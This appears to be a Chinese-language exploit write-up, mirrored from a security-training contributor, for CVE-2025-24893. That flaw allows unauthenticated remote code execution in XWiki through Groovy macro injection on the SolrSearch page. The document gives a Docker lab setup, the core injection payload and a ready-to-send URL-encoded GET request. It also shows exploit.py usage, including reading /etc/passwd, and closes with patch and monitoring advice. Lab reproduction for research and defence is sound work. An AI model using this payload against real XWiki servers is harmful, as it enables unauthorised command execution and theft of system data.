## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ENDUSDKSLA-XWIKI-CVE-2025-24893
# XWiki SolrSearch 未认证 RCE (CVE-2025-24893)
* * *
### 贡献者
* 白帽学校 4期 25班 林斗妍(@endusdksla)
## 摘要
* XWiki 在服务器端解析并渲染 wiki 语法和宏。问题在于 `Main.SolrSearch` 页面不仅对访客开放,而且还将用户输入的 `text` 参数在没有充分验证的情况下作为 XWiki 语法进行评估。
* 攻击者可以在 `text` 中插入 `{{groovy}}` 宏,从而在服务器上执行任意 Groovy 代码,并通过 `"command".execute()` 调用操作系统命令。此漏洞无需额外登录或令牌,仅通过单个 GET 请求即可利用。
## 环境配置
本目录使用官方 XWiki 独立发行版 `15.10.1` 和 Java 17 运行时构建了脆弱环境。
项| 内容
---|---
CVE| `CVE-2025-24893`
产品| XWiki Platform
受影响版本| `>= 5.3-milestone-2, < 15.10.11` / `>= 16.0.0-rc-1, < 16.4.1`
修复版本| `15.10.11`, `16.4.1`
漏洞类型| Eval Injection -> 未认证 RCE
是否需要认证| 不需要
影响| 可执行服务器命令
## 脆弱条件
* XWiki 版本需为补丁之前的版本。
* `Main.SolrSearch` 端点必须对访客可访问。
* 服务器必须能够将 `text` 参数作为 XWiki 语法进行评估。
* `groovy` 宏必须处于可执行状态。
本环境使用 XWiki `15.10.1`,因此满足上述条件。
## 重现步骤
root@kitploit:~
docker compose up -d --build
初次运行时将自动安装,可能需要几分钟。(大约需要 6~7 分钟)
root@kitploit:~
docker compose ps
docker inspect -f '{{json .State.Health}}' xwiki-web
当上述命令的结果中出现 `"Status":"healthy"` 状态时,环境配置完成,即可进行利用。
root@kitploit:~
pip install requests
在运行 exploit.py 之前安装依赖。
## PoC 代码
核心 payload 如下。
root@kitploit:~
}}}{{async async=false}}{{groovy}}println("id".execute().text){{/groovy}}{{/async}}
上述 payload 插入到 `text` 参数中,并在 `Main.SolrSearch` 页面进行评估。结果,`println("id".execute().text)` 在服务器上执行,命令执行结果会反射到 RSS 响应正文中。
完整的执行脚本请参考 exploit.py。
root@kitploit:~
python3 exploit.py
运行上述 Python 代码即可复现 PoC。默认命令为 id。
root@kitploit:~
python3 exploit.py -c "cat /etc/passwd"
若要执行其他命令,请像上面那样传递参数。
或者也可以直接发送 URL 请求。(输出 id 的 payload)
root@kitploit:~
http://localhost:1337/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync+async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22id%22.execute%28%29.text%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D
## 执行结果
 在响应中返回 id 的情况
 查看当前目录文件
## 应对措施
* 将 XWiki 更新至 `15.10.11` 或更高版本,或 `16.4.1` 或更高版本。
* 检查对外暴露的 XWiki 实例的访客访问策略。
* 最小化不必要的脚本/宏执行权限。
* 监控可疑请求和 `SolrSearch` 访问日志。
## 参考
* NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-24893
* GitHub Advisory: https://github.com/advisories/GHSA-rr6p-3pfg-562j